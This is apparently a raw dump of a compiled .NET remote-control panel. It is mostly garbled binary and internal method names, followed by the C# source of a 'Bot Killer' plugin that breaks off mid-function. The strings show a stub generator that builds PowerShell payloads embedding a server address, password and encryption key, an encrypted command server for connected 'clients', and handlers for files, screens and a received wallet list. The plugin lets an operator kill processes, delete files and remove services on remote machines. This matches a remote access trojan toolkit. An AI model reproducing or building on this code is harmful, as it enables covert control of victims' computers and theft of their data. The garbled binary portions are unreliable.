*ž*+M+~++ñ+,M,Y,w,,Ê,ë,-+-“-ï-..N.T.f.Œ.º.Å.×.â.ú./+/D/Z/p/•/ /¯/º/Ä/ß/ü/020M0j0€0£0Æ0Ü0ã0û0151Q1j1€11¢1­1Ä1Ú1ñ12 262M2p2Œ2£2Â2Ú2ð2 373N3e3{3“3©3µ3Á3é3õ34Œ4Û4ò4û45,5>5V5m55¨5¾5Ô5ê56$6B6^6ˆ6%35—=h<-h<-
 
 -6<BFMQUVZbg j"n#r%z&{()ƒ,-234£5§6±\¸«º†lDŸ…vD;•€DY“…D°9‰Dju‰DkDÂhD?˜Dñ9‰DÆO‰D„m‰Dup‰D~:‰Dñ9‰DF†œD~:‰Dñ9‰D^—§DDwW˜D³Q¬Dñ9‰D¸:±Dñ9‰DÆO‰D„m‰Dup‰D~:‰D5:…D…O‰DÏ^‰D%g…DÀ\‰DTX¶D0>‰D³Q‰Dk_‰DíV‰DŇºDe‰D~ÂDËl‰DÒš‰D~:‰Dí@…DP‰Ds_‰DX?˜D9M˜D¶D»?‰D⚉D~:‰D«“‰Dþ^‰DP‰DõV‰Dƒ›‰D~:‰D¦N‰DÆO‰DŒ‰D}^‰D®Q‰Dñ9‰DÆO‰D„m‰Dup‰Dy˜DP‰D_‰DÏX¶D‰<‰DÒš‰Dêl‰Dñ9‰DÆO‰D„m‰Dup‰Dñ9‰DÆO‰D„m‰Dup‰DÑ=˜Dñ9‰DÆO‰D„m‰Dup‰D)2…DP‰DÏ^‰Dup‰Diƒ¶D[kÈD⚉D@“…DP‰D_‰D³Q‰DÊV‰Dêl‰DP‰D_‰D:Œ˜Dñ9‰DÆO‰D„m‰Dup‰Dñ9‰DÆO‰D„m‰Dup‰D!™…DP‰Dµ_…Dè…D'6…DX6…Dœ˜D|Q‰DŠj˜Dñ9‰DÆO‰D„m‰Dup‰Dñ9‰DÆO‰D„m‰Dup‰DB”…DZ˜D
‡…DTj¶Dh•¶D#‡…Dñ9‰DÆO‰D„m‰Dup‰D!™…D:‰DÆO‰Ds_‰DÏX‰DŒ‰D7±D;˜D}xÑD÷W…D×›‰DB”‰Du‰DßI‰D/”‰DÉI‰DP‰D`m‰D.O‰D»‰‰D‰DÃ>˜D`m‰D.O‰D»‰‰D‰D:‰DP‰DÏ^‰D =˜D“…Dõs×Dm‰DÃ>˜DŒ‰DÛt‰D:‰DP‰DÏ^‰D =˜D“…Dõs×Dm‰DÏ^‰DÀ\‰DP‰DÏX¶DÕSDÑÒŠ¨©q w x
yz{|ƒŠ!£#¤#¥%¦%§'¨'©)ª)«+¬+®-¯-°/±/²1³1¸3¹5º7»9Ö;×;Ø=Ù=Ú?Û?ÜAÝAÞCßCàEáEâGãGäIåIæKçKèMéMêOëOìQíQîSïUðWñYó[ô[õ]ö]÷_ø_ùaúaûcücýeþeÿggiikmmoo q
q s s
uuwyy{{}}ƒƒSTUV_`abcdefghijŸ¡¾£¿¥À§Á©Î«í­î¯ï±ð³ùµúµû·ü·ý¹þ¹ÿ»»½½¿¿ÁÃGÅHÅIÇJÇKÉLÉMËNËOÍQÏRÏSÑTÑUÓVÓXÕY×ZÙ[ÛŒÝߎáã˜ååšççœééžëŸë í¡í¢ï£ï¤ñ¥ñ¦ó§óÓõÔõØ÷ÙùÚûÛýóÿôõöÿ  
+,-.789:;<=!>!?#@#A%B%C'D'E)F)G+H+I-J-o/p/q1r1s3t3u5v5w7x7y9z9|;};~==??AƒACCEEŒGGŽIIKKMMOOQ˜QSšSUœUWžWŸY Y¡[¢[£]¤]¥_¦a«c¬c­e®e¯g°g±i²i³k´kµmm·o¸o&q'q(s)s u u
wwyy7v#7x%R#R%S#S%T#T %U$#U&%V*#V,%W0#W2%X6#X8%Y<#Y>%ZB#ZD%[H#[J%ex#ez%f~#f%g#g%hŠ#hŒ%i#i%j#j˜%kœ#kž%l¢#l¤%m¨#mª%n®#n°%o´#o%pº#p¼%qÀ#qÂ%rÆ#rÈ%sÌ#sÎ%yð#yò%zö#zø%{ü#{þ%| #| %} #}
%~ #~ % # % #" % Ô # Ö %¡Ú #¡Ü %¢à #¢â %£æ #£è %¤ì #¤î %¥ò #¥ô %¦ø #¦ú %°:
#°<
%±@
#±B
%²F
#²H
%³L
#³N
%´R
#´T
%µX
#µZ
%»|
#»~
%¼
#¼
%½ˆ
#½Š
%¾Ž
#¾
%è
#ê
%Ä®
#İ
%Å´
#Å
%ƺ
#Ƽ
%ÇÀ
#ÇÂ
%ÈÆ
#ÈÈ
%ÉÌ
#ÉÎ
%Ðî
#Ðð
%Ñô
#Ñö
%Òú
#Òü
%Ó #Ó %Ô #Ô %Õ #Õ %Ö #Ö %× #× %Ø #Ø %Ù$ #Ù& %Ú* #Ú, %Û0 #Û2 %Þ> #Þ@ %ßD #ßF %àJ #àL %áP #áR %âV #âX %ã\ #ã^ %æj #æl %èv #èx %é| #é~ %ê #ê %÷È #÷Ê %øÎ #øÐ %ùÔ #ùÖ %úÚ #úÜ %ûà #ûâ %üæ #üè %ýì #ýî %þò #þô %ÿø #ÿú %þ # % # %
# %V¡ÃËÓÛáé{´åìûJ\F`šË)VÑØrŠ˜×ñú A ‚ · …
«
K £ ½ ï O ^ ¡ ª · 
l
¦
¸
ö
"_g^gowÕä*@e¯zˆ²ºÀDMUµ¼ÃßÜꦮ=¨±¹;CLT˜ÒÙàéò 5?½ðþ½ÅÍLq{æíaktæ å!
!!>!ã!í!ö!$"?"T"]"f"œ"9#C#L#³#'$@$>%^%u%œ%$&>&K&Y&ø& ''#'Ð'Ø'í'E(|(…(?)})„)U*c*„*3+:+Ë+Ó+D,¦,³,»-Ë-Ó-'.33²4»4½@½6HPÆ6ªcÏ6¸g½6f½6ö†Æ61R½6ò‘Æ6×Q½6Ɔ½62f½6œ½6¾ˆ½6à‰Ø6p½6§Y½6僽6vvI¨–½0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrst u v w x y z { | } ~ 
ƒˆŠŒŽ˜šœžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ·¸¹º»¼½¾¿!À!Á!Â!Ã!Ä!Å!Æ!Ç!È!É!Ê"Ë$Ì$Í$Î$Ï$Ð$Ñ$Ò$Ó$Ô$Õ$Ö$×$Ø$Ù$Ú$Û$Ü'Ý'Þ'ß'à'á'â'ã'ä(å)æ)ç*è*é*ê*ë+ì+í.î.ï.ð.ñ.ò.ó.ô.õ.ö.÷.ø.ù.úJûLüOývþÊÿäåççy<<ykŠkÒ§Ò©Ò»Òó#÷6§U/Š©³§Ó?Ó§#©#¢»óó>óJóŠóœÕ/Ò3Ò³óŸ ó« ‡È óÞ óê 
ó
ó"
ó.
óN
óZ

óy
Ÿ
óŸ
¥²
§² /Ì §ÿ / óC ï ¥Æ óÒ ù
ó-
ó9
óT
y
~
§/1óCó|󈧃©ƒí¬/ƒ˜_FR^jv«·/å§å{åÔœ¨´ÀÌåŠr~žª/Æ»Š§ù/שŠ&2>JvŽ)+*6BNZf·  * 6 B »¥ ™¥ £à „!!œ!¨!´À!ós"ó©"óµ"óÁ"Ô#à#ì#/Ó£à$E.%»#¹%à%§3&©3&h&~&E¡&«~
'B'Œ'E­'à'E(#(E<(Ž(ä():)©:)G))—)±)Ú)*q*•*)Õ*)î*?A+Gr++Û+è+,1,óS,n,?‡,©Á,â,ü,-~-Š-§Å-©Å-ã-¡H.Eñ.E
/E"/E;/EQ/Eg/EŒ/EÖ/Eó/E0E)0ED0Ea0Ew0Eš0E½0EÓ0Eò0E1E,1EH1Ea1Ew1Eœ1EÑ1Eè1Eþ1E2E-2ED2Eg2Eƒ2Eš2E¹2EÑ2Eç2E.3EE3E\3Er3Š3E ¯3ó»3Õ3óï3óû3w4ƒ4Ä4Ò4é4Ed5Eˆ5EŸ5Eµ5EË5Eá5ý5656U6s66¨6´6<.ctor>b__41_10<.ctor>b__52_10<.ctor>b__73_10<frameData>5__10<psi>5__10<destPort>5__10<ex>5__10<.ctor>b__10<UnloadPlugin>d__10<>s__10<SendMessage>d__20<>s__20<GrabAllButton_Click>d__40<InputBox_KeyDown>d__40<CreateNewKey>d__50<WriteMessage>d__60<DoStart>d__60<ImgDown>d__70<>c__DisplayClass110_0<BuildTooltip>g__AddRow|110_0<>c__DisplayClass10_0<>c__DisplayClass30_0<OnClientReady>b__50_0<>c__DisplayClass50_0<>c__DisplayClass60_0<>c__DisplayClass0_0<>c__DisplayClass21_0<OnDisconnected>b__31_0<>c__DisplayClass31_0<.ctor>b__41_0<Start>b__41_0<>c__DisplayClass51_0<>9__61_0<HandleDirListing>b__61_0<>c__DisplayClass61_0<>9__71_0<RenderThreats>b__71_0<BuildClientContextMenu>b__71_0<>c__DisplayClass71_0<RefreshPluginCards>b__81_0<>c__DisplayClass81_0<>c__DisplayClass102_0<>c__DisplayClass22_0<>c__DisplayClass32_0<>c__DisplayClass42_0<.ctor>b__52_0<>c__DisplayClass52_0<>9__62_0<SendFileButton_Click>b__62_0<>c__DisplayClass62_0<>9__72_0<LaunchPluginForSelectedClients>b__72_0<>c__DisplayClass72_0<UpdateActivePluginCount>b__82_0<>c__DisplayClass82_0<ForceRefresh>b__92_0<>c__DisplayClass13_0<>9__33_0<RemoveAutoTaskButton_Click>b__33_0<>c__DisplayClass33_0<>9__43_0<SaveAllButton_Click>b__43_0<UpdateButtonStates>b__43_0<>c__DisplayClass43_0<>c__DisplayClass53_0<>c__DisplayClass63_0<>9__73_0<.ctor>b__73_0<UpdateStats>b__73_0<>c__DisplayClass73_0<>c__DisplayClass83_0<>c__DisplayClass14_0<>9__34_0<ToggleAutoTaskButton_Click>b__34_0<>c__DisplayClass44_0<>c__DisplayClass54_0<>c__DisplayClass64_0<>c__DisplayClass74_0<>9__4_0<LoadExternalPlugins>b__4_0<>9__35_0<ViewTaskLogButton_Click>b__35_0<OnClientReady>b__35_0<StartProxy>b__35_0<>9__55_0<SanitizeInput>b__55_0<>c__DisplayClass55_0<>c__DisplayClass65_0<>c__DisplayClass75_0<>c__DisplayClass16_0<>c__DisplayClass36_0<>c__DisplayClass56_0<>c__DisplayClass66_0<>9__76_0<HandleScr>b__76_0<>c__DisplayClass76_0<>c__DisplayClass86_0<>9__6_0<get_LoadedPlugins>b__6_0<>9__107_0<RebuildTree>b__107_0<>9__17_0<QueueCommandAndSignal>b__17_0<.ctor>b__27_0<>c__DisplayClass27_0<UpdateAutoTaskCount>b__37_0<>c__DisplayClass37_0<.ctor>b__47_0<GenerateNewEncryptionKey>b__47_0<>c__DisplayClass47_0<RequestRoots>b__57_0<>c__DisplayClass57_0<>9__67_0<GenerateStubCode>b__67_0<>c__DisplayClass67_0<>9__77_0<StopAllPluginsForSelectedClients>b__77_0<>c__DisplayClass87_0<>9__97_0<CopySelectedPids>b__97_0<>c__DisplayClass108_0<OnClientReady>b__28_0<>c__DisplayClass28_0<>c__DisplayClass38_0<UpdateSummary>b__48_0<>c__DisplayClass48_0<OnAllDone>b__58_0<>c__DisplayClass58_0<>c__DisplayClass68_0<>9__78_0<ShowActivePluginsForSelectedClients>b__78_0<UpdateLastFileLabel>b__88_0<>c__DisplayClass88_0<>9__98_0<CopySelectedPath>b__98_0<.ctor>b__29_0<>c__DisplayClass29_0<OnData>b__39_0<.ctor>b__39_0<RefreshList>b__49_0<>c__DisplayClass49_0<>c__DisplayClass59_0<>c__DisplayClass69_0<BuildContextMenu>b__79_0<.ctor>b__9_0<CreateUI>b__0<RemoveClientUI>b__0<HandleServerData>b__0<AddTab>b__0<ClosePluginTab>b__0<RelayAsync>b__0<OnClientDisconnected>b__0<OnFileDeleted>b__0<OnZipDataReceived>b__0<OnChunkReceived>b__0<OnWalletListReceived>b__0<OnThreatRemoved>b__0<IsRateAllowed>b__0<CreatePluginCard>b__0<SelectFile>b__0<HandleFrame>b__0<OnChunkedDone>b__0<LoadStubTemplate>b__0<OnScanComplete>b__0<CompileToExe>b__0<SetProcessRunning>b__0<Log>b__0<AppendLog>b__0<OnCommandAck>b__0<ClientCheckTimer_Tick>b__0<SearchButton_Click>b__0<AddAutoTaskButton_Click>b__0<ShowDetail>b__0<BuildTreeItem>b__0<CreateFileListItem>b__0<UnloadPlugin>b__0<MakeFilterBtn>b__0<NavigateTo>b__0<OnHttpClientInfo>b__0<MessageLoop>b__0<AcceptLoop>b__0<OnCommandError>b__0<OnError>b__0<SetStatusError>b__0<UpdateConnectionIndicator>b__0<LoadSe
Server: :=
Crypto: AES-256-GCM
Key: '...
Ready to save.?PowerShell script (*.ps1)|*.ps1 .ps1Stub.ps1Stub saved to 
Saved: 3Stub generated and saved.7Stub generated (not saved).IERROR: Enter a valid port (1-65535)._ERROR: Password must be at least 12 characters.€…ERROR: Encryption key is required. Click 'Generate' to create one.;ERROR: Server IP is required.#PSStub_Direct.ps1CTemplate loaded from file. Hash: ...oERROR: Template not found as file or embedded resource.)Looked for file at: +# Template not found.OTemplate loaded from embedded resource.Stub target: {{SERVER_URL}}{{SERVER_IP}}{{SERVER_PORT}}{{PASSWORD}}%{{ENCRYPTION_KEY}}€‰WARNING: Some placeholders were not replaced. Check template format.
dotnet--list-sdks!Found .NET SDK: Client '+': No active plugins., '': Active plugins: Plugins?Failed to open plugins folder: SurfaceBrushBorderBrush Ý!TextPrimaryBrush v%TextSecondaryBrushYes None Error ID: ) | Client code: ConsolasDisabledBrush¶% Launch;Launch for selected client(s)PrimaryButtonHH:mm:ss[] & A/LoaderKeyed;component/main.xaml enabled /
total
Auto: / tasks (
runs)%% Plugins %%PrimaryBrush Ý 
Version: 'Ô& Stop All PluginsDangerBrush/=ØËÜ Show Active Pluginsk plugin(s) available. Right-click a client to launch. active1 activeLast file: NoneLast file: uipasswordencryptionKey7TCP server started on port 1 (AES-256-GCM encrypted)'TCP server stopped.tcpE[SIGNAL] NotifyPendingCommand for  (signal #5, semaphore count before: C - client NOT connected (signal #=[SIGNAL] NotifyFileQueued for 5 (semaphore count before: / - client NOT connected1[INFO] Client info from
charsFile rejected: not foundexceeds 50MB (N0 bytes)MDecryption failed: invalid data or key-Removed stale client: c[INIT] PluginHost.SetTcpServer called, server is NULLSETPlugin '' not found.;' already active for client '[PLUGIN] 'E' queued LoadAndStart for client '' ( bytes code)#[QUEUE] Enqueued
for '
' -> ' bytes, depth=, connected=A) - calling NotifyPendingCommandq[QUEUE] WARNING: _tcpServer is NULL! Cannot signal for 'botkillerBot Killer 2.1.0€›Advanced malware detection and interactive removal with multi-client support.G[BOTKILLER] Plugin initialized v2.1À]
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Security.Principal;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Microsoft.Win32;
namespace ClientPlugin_botkiller
{
public class Main
{
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
static extern bool MoveFileEx(string lpExistingFileName, string lpNewFileName, int dwFlags);
private Func<byte[], Task> _send;
private Func<Task<byte[]>> _receive;
private int _ownPid;
private string _ownPath;
private HashSet<string> _protectedPaths = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
private HashSet<int> _protectedPids = new HashSet<int>();
private string[] GetSuspiciousDirectories()
{
return new string[]
{
Path.GetTempPath(),
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Temp"),
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Temp")
};
}
private static readonly string[] SystemProcessNames = new string[]
{
"svchost", "csrss", "winlogon", "lsass", "services", "smss",
"wininit", "fontdrvhost", "lsaiso"
};
private string[] GetLegitSystemPaths()
{
string sysRoot = Path.GetPathRoot(Environment.SystemDirectory);
if (sysRoot == null) sysRoot = "C:\\";
return new string[]
{
Environment.GetFolderPath(Environment.SpecialFolder.System),
Environment.GetFolderPath(Environment.SpecialFolder.SystemX86),
Path.Combine(sysRoot, "Windows"),
Path.Combine(sysRoot, "Program Files"),
Path.Combine(sysRoot, "Program Files (x86)")
};
}
private static readonly string[] SuspiciousExtensions = new string[]
{
".scr", ".pif", ".vbs", ".vbe",
".jse", ".wsf", ".wsh", ".hta"
};
private static readonly string[] RegistryRunPaths = new string[]
{
@"Software\Microsoft\Windows\CurrentVersion\Run",
@"Software\Microsoft\Windows\CurrentVersion\RunOnce"
};
public async Task Run(Func<byte[], Task> send, Func<Task<byte[]>> receive)
{
_send = send;
_receive = receive;
Process currentProc = Process.GetCurrentProcess();
_ownPid = currentProc.Id;
try
{
if (currentProc.MainModule != null)
_ownPath = currentProc.MainModule.FileName;
else
_ownPath = "";
}
catch { _ownPath = ""; }
BuildProtectedList();
await _send(new byte[] { 0xFE });
while (true)
{
byte[] data = await _receive();
if (data == null || data.Length == 0) break;
byte opcode = data[0];
byte[] payload = data.Length > 1 ? data.Skip(1).ToArray() : null;
Exception caught = null;
try
{
if (opcode == 0x01) await PerformScan();
else if (opcode == 0x02) await KillProcess(payload);
else if (opcode == 0x03) await RemoveThreat(payload);
else if (opcode == 0x05) await SendProcessList();
else if (opcode == 0x06) await SendStartupList();
else if (opcode == 0x07) await SendScheduledTasks();
else if (opcode == 0x08) await RemoveStartupEntry(payload);
else if (opcode == 0x09) await QuarantineFile(payload);
else if (opcode == 0x0A) await CheckHostsFile();
else if (opcode == 0x0B) await RepairHostsFile();
else if (opcode == 0x0C) await CheckDNS();
else if (opcode == 0x0D) await ScanServices();
else if (opcode == 0x0E) await StopService(payload);
else if (opcode == 0x0F) await DeleteService(payload);
else if (opcode == 0x10) await DeleteFile(payload);
else if (opcode == 0x11) await KillAndDelete(payload);
else if (opcode == 0x12) await FullRemove(payload);
else await SendAck(opcode);
}
catch (Exception ex)
{
caught = ex;
}
if (caught != null)
{
await SendError(opcode, caught.Message);
}
}
}
private void BuildProtectedList()
{
_protectedPids.Add(_ownPid);
if (!string.IsNullOrEmpty(_ownPath)) _protectedPaths.Add(_ownPath);
try
{
int parentId = GetParentPid(_ownPid);
int depth = 0;
while (parentId > 0 && depth < 10)
{
_protectedPids.Add(parentId);
try
{
Process parent = Process.GetProcessById(parentId);
try
{
if (parent.MainModule != null)
{
string pp = parent.MainModule.FileName;
if (!string.IsNullOrEmpty(pp)) _protectedPaths.Add(pp);
}
}
catch { }
parentId = GetParentPid(parent.Id);
}
catch { break; }
depth++;
}
}
catch { }
}
private int GetParentPid(int pid)
{
try
{
System.Management.ManagementObjectSearcher searcher = new System.Management.ManagementObjectSearcher(
"SELECT ParentProcessId FROM Win32_Process WHERE ProcessId = " + pid.ToString());
foreach (System.Management.ManagementObject obj in searcher.Get())
return Convert.ToInt32(obj["ParentProcessId"]);
}
catch { }
return -1;
}
private bool IsProtected(Process p)
{
if (_protectedPids.Contains(p.Id)) return true;
try
{
if (p.MainModule != null)
{
string path = p.MainModule.FileName;
if (!string.IsNullOrEmpty(path) && _protectedPaths.Contains(path)) return true;
}
}
catch { }
return false;
}
private bool IsProtectedPath(string path)
{
if (string.IsNullOrEmpty(path)) return true;
return _protectedPaths.Contains(path);
}
private string SafeGetProcessPath(Process p)
{
try
{
if (p.MainModule != null) return p.MainModule.FileName;
}
catch { }
return null;
}
private bool IsInLegitLocation(string filePath)
{
string[] legitPaths = GetLegitSystemPaths();
foreach (string lp in legitPaths)
{
if (!string.IsNullOrEmpty(lp) && filePath.StartsWith(lp, StringComparison.OrdinalIgnoreCase)) return true;
}
return false;
}
private async Task PerformScan()
{
List<Dictionary<string, object>> threats = new List<Dictionary<string, object>>();
Process[] processes = Process.GetProcesses();
int total = processes.Length;
int scanned = 0;
foreach (Process p in processes)
{
try
{
if (IsProtected(p)) { scanned++; continue; }
string filePath = SafeGetProcessPath(p);
if (string.IsNullOrEmpty(filePath)) { scanned++; continue; }
Dictionary<string, object> result = AnalyzeProcess(p, filePath);
if (result != null && (int)result["level"] >= 4)
threats.Add(result);
scanned++;
if (scanned % 10 == 0)
await _send(new byte[] { 0x14, (byte)Math.Min(((scanned * 100) / total), 99) });
}
catch { scanned++; }
}
List<Dictionary<string, object>> startupThreats = ScanStartupEntries();
threats.AddRange(startupThreats);
string json = SerializeThreats(threats);
byte[] jsonBytes = Encoding.UTF8.GetBytes(json);
byte[] result2 = new byte[1 + jsonBytes.Length];
result2[0] = 0x10;
Buffer.BlockCopy(jsonBytes, 0, result2, 1, jsonBytes.Length);
await _send(result2);
await _send(new byte[] { 0x15, (byte)Math.Min(threats.Count, 255) });
}
private Dictionary<string, object> AnalyzeProcess(Process p, string filePath)
{
int level = 0;
List<string> reasons = new List<string>();
string fileNameNoExt = Path.GetFileNameWithoutExtension(filePath).ToLower();
string ext = Path.GetExtension(filePath).ToLower();
bool isLegit = IsInLegitLocation(filePath);
if (isLegit) return null;
string[] suspDirs = GetSuspiciousDirectories();
foreach (string dir in suspDirs)
{
if (!string.IsNullOrEmpty(dir) && filePath.StartsWith(dir, StringComparison.OrdinalIgnoreCase))
{ level += 3; reasons.Add("Runs from temp/suspicious directory"); break; }
}
if (SystemProcessNames.Contains(fileNameNoExt) && !isLegit)
{ level += 6; reasons.Add("Impersonates critical system process '" + fileNameNoExt + "'"); }
try
{
if (!HasValidSignature(filePath))
{
if (ext == ".exe" || ext == ".dll")
{ level += 2; reasons.Add("Unsigned executable"); }
}
}
catch { }
if (SuspiciousExtensions.Contains(ext))
{ level += 4; reasons.Add("Suspicious extension: " + ext); }
try
{
FileAttributes attrs = File.GetAttributes(filePath);
if ((attrs & FileAttributes.Hidden) != 0)
{ level += 3; reasons.Add("Hidden file"); }
}
catch { }
try
{
long size = new FileInfo(filePath).Length;
if (size < 20 * 1024 && ext == ".exe")
{ level += 2; reasons.Add("Tiny executable: " + (size / 1024).ToString() + "KB"); }
}
catch { }
if (HasRegistryPersistence(filePath))
{ level += 2; reasons.Add("Has registry startup persistence"); }
if (fileNameNoExt == "powershell" || fileNameNoExt == "pwsh")
{
try
{
if (p.MainWindowHandle == IntPtr.Zero || !IsWindowVisible(p.MainWindowHandle))
{ level += 4; reasons.Add("Hidden PowerShell instance"); }
}
catch { }
}
if (fileNameNoExt == "wscript" || fileNameNoExt == "cscript" || fileNameNoExt == "mshta")
{ level += 4; reasons.Add("Script host process running"); }
try
{
Process[] same = Process.GetProcessesByName(p.ProcessName);
if (same.Length > 1)
{
HashSet<string> paths = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
foreach (Process sp in same)
{
try
{
string pp = SafeGetProcessPath(sp);
if (pp != null) paths.Add(pp);
}
catch { }
}
if (paths.Count > 1)
{ level += 4; reasons.Add("Multiple paths for '" + p.ProcessName + "' (" + paths.Count.ToString() + " locations)"); }
}
}
catch { }
if (level < 4) return null;
string hash = "";
try
{
SHA256 sha = SHA256.Create();
FileStream fs = File.OpenRead(filePath);
hash = BitConverter.ToString(sha.ComputeHash(fs)).Replace("-", "");
fs.Close();
sha.Dispose();
}
catch { hash = "ERROR"; }
long fileSize = 0;
try { fileSize = new FileInfo(filePath).Length; } catch { }
string created = "";
try { created = File.GetCreationTime(filePath).ToString("yyyy-MM-dd HH:mm:ss"); } catch { }
Dictionary<string, object> dict = new Dictionary<string, object>();
dict["pid"] = p.Id;
dict["name"] = p.ProcessName;
dict["path"] = filePath;
dict["level"] = level;
dict["hash"] = hash;
dict["size"] = fileSize;
dict["created"] = created;
dict["reasons"] = reasons;
dict["type"] = "process";
return dict;
}
private List<Dictionary<string, object>> ScanStartupEntries()
{
List<Dictionary<string, object>> threats = new List<Dictionary<string, object>>();
foreach (string regPath in RegistryRunPaths)
{
ScanRegKey(Registry.CurrentUser, "HKCU", regPath, threats);
ScanRegKey(Registry.LocalMachine, "HKLM", regPath, threats);
}
return threats;
}
private void ScanRegKey(RegistryKey root, string rootName, string regPath, List<Dictionary<string, object>> threats)
{
try
{
RegistryKey key = root.OpenSubKey(regPath, false);
if (key == null) return;
foreach (string name in key.GetValueNames())
{
object valObj = key.GetValue(name);
string val = valObj != null ? valObj.ToString() : "";
string extractedPath = ExtractPath(val);
if (string.IsNullOrEmpty(extractedPath)) continue;
if (IsProtectedPath(extractedPath)) continue;
if (IsInLegitLocation(extractedPath)) continue;
int level = 0;
List<string> reasons = new List<string>();
bool exists = File.Exists(extractedPath);
string[] suspDirs = GetSuspiciousDirectories();
foreach (string dir in suspDirs)
{
if (!string.IsNullOrEmpty(dir) && extractedPath.StartsWith(dir, StringComparison.OrdinalIgnoreCase))
{ level += 4; reasons.Add("Startup points to temp directory"); break; }
}
if (exists)
{
try
{
if (!HasValidSignature(extractedPath))
{ level += 2; reasons.Add("Startup target is unsigned"); }
}
catch { }
try
{
FileAttributes attrs = File.GetAttributes(extractedPath);
if ((attrs & FileAttributes.Hidden) != 0)
{ level += 3; reasons.Add("Startup target is hidden"); }
}
catch { }
}
else if (!exists && !val.Contains("%"))
{
level += 2;
reasons.Add("Target file missing (orphaned entry)");
}
if (level >= 4)
{
Dictionary<string, object> dict = new Dictionary<string, object>();
dict["pid"] = -1;
dict["name"] = name;
dict["path"] = extractedPath;
dict["level"] = level;
dict["hash"] = "";
dict["size"] = (long)0;
dict["created"] = "";
dict["reasons"] = reasons;
dict["type"] = "startup";
dict["registry"] = rootName + "\\" + regPath + "\\" + name;
dict["regValue"] = val;
threats.Add(dict);
}
}
key.Close();
}
catch { }
}
private string ExtractPath(string value)
{
if (string.IsNullOrEmpty(value)) return null;
value = value.Trim();
if (value.StartsWith("\""))
{
int end = value.IndexOf('"', 1);
if (end > 1) return value.Substring(1, end - 1);
}
if (File.Exists(value)) return value;
string building = "";
foreach (string part in value.Split(' '))
{
building = string.IsNullOrEmpty(building) ? part : building + " " + part;
if (File.Exists(building)) return building;
}
if (value.Contains("\\") || value.Contains("/")) return value;
return null;
}
private bool HasValidSignature(string filePath)
{
try
{
X509Certificate cert = X509Certificate.CreateFromSignedFile(filePath);
X509Certificate2 cert2 = new X509Certificate2(cert);
X509Chain chain = new X509Chain();
chain.ChainPolicy.RevocationMode = X509RevocationMode.NoCheck;
return chain.Build(cert2);
}
catch { return false; }
}
private bool HasRegistryPersistence(string filePath)
{
foreach (string regPath in RegistryRunPaths)
{
if (CheckRegForPath(Registry.CurrentUser, regPath, filePath)) return true;
if (CheckRegForPath(Registry.LocalMachine, regPath, filePath)) return true;
}
return false;
}
private bool CheckRegForPath(RegistryKey root, string regPath, string filePath)
{
try
{
RegistryKey key = root.OpenSubKey(regPath, false);
if (key == null) return false;
foreach (string name in key.GetValueNames())
{
object valObj = key.GetValue(name);
string val = valObj != null ? valObj.ToString() : "";
if (val.IndexOf(filePath, StringComparison.OrdinalIgnoreCase) >= 0)
{
key.Close();
return true;
}
}
key.Close();
}
catch { }
return false;
}
private async Task KillProcess(byte[] payload)
{
if (payload == null || payload.Length < 4) { await SendError(0x02, "Invalid PID"); return; }
int pid = BitConverter.ToInt32(payload, 0);
if (_protectedPids.Contains(pid)) { await SendError(0x02, "Protected process"); return; }
Exception caught = null;
string name = "";
try
{
Process p = Process.GetProcessById(pid);
if (IsProtected(p)) { await SendError(0x02, "Protected"); return; }
name = p.ProcessName;
p.Kill();
p.WaitForExit(5000);
}
catch (Exception ex) { caught = ex; }
if (caught != null) { await SendError(0x02, caught.Message); return; }
byte[] nameBytes = Encoding.UTF8.GetBytes("Killed: " + name + " (PID " + pid.ToString() + ")");
byte[] r = new byte[1 + nameBytes.Length]; r[0] = 0x01;
Buffer.BlockCopy(nameBytes, 0, r, 1, nameBytes.Length);
await _send(r);
}
private async Task DeleteFile(byte[] payload)
{
if (payload == null) { await SendError(0x10, "No path"); return; }
string path = Encoding.UTF8.GetString(payload);
if (IsProtectedPath(path)) { await SendError(0x10, "Protected"); return; }
Exception caught = null;
try
{
if (File.Exists(path))
{
File.SetAttributes(path, FileAttributes.Normal);
File.Delete(path);
}
}
catch (Exception ex) { caught = ex; }
if (caught != null)
{
try { MoveFileEx(path, null, 0x4); } catch { }
await SendError(0x10, caught.Message);
return;
}
byte[] pb = Encoding.UTF8.GetBytes(path);
byte[] r2 = new byte[1 + pb.Length]; r2[0] = 0x1A;
Buffer.BlockCopy(pb, 0, r2, 1, pb.Length);
await _send(r2);
}
private async Task KillAndDelete(byte[] payload)
{
if (payload == null) { await SendError(0x11, "No data"); return; }
if (payload.Length < 5) { await SendError(0x11, "Bad format"); return; }
int pid = BitConverter.ToInt32(payload, 0);
string path = Encoding.UTF8.GetString(payload, 4, payload.Length - 4);
if (IsProtectedPath(path) || _protectedPids.Contains(pid)) { await SendError(0x11, "Protected"); return; }
Exception caught = null;
try
{
try { Process p = Process.GetProcessById(pid); if (!IsProtected(p)) { p.Kill(); p.WaitForExit(5000); } } catch { }
Thread.Sleep(300);
if (File.Exists(path))
{
try { File.SetAttributes(path, FileAttributes.Normal); File.Delete(path); }
catch { MoveFileEx(path, null, 0x4); }
}
}
catch (Exception ex) { caught = ex; }
if (caught != null) { await SendError(0x11, caught.Message); return; }
byte[] pb = Encoding.UTF8.GetBytes(path);
byte[] r2 = new byte[1 + pb.Length]; r2[0] = 0x13;
Buffer.BlockCopy(pb, 0, r2, 1, pb.Length);
await _send(r2);
}
private async Task FullRemove(byte[] payload)
{
if (payload == null) { await SendError(0x12, "No data"); return; }
string path = Encoding.UTF8.GetString(payload);
if (IsProtectedPath(path)) { await SendError(0x12, "Protected"); return; }
Exception caught = null;
try
{
foreach (Process p in Process.GetProcesses())
{
try
{
if (IsProtected(p)) continue;
string procPath = SafeGetProcessPath(p);
if (procPath != null && procPath.Equals(path, StringComparison.OrdinalIgnoreCase))
{ p.Kill(); p.WaitForExit(5000); }
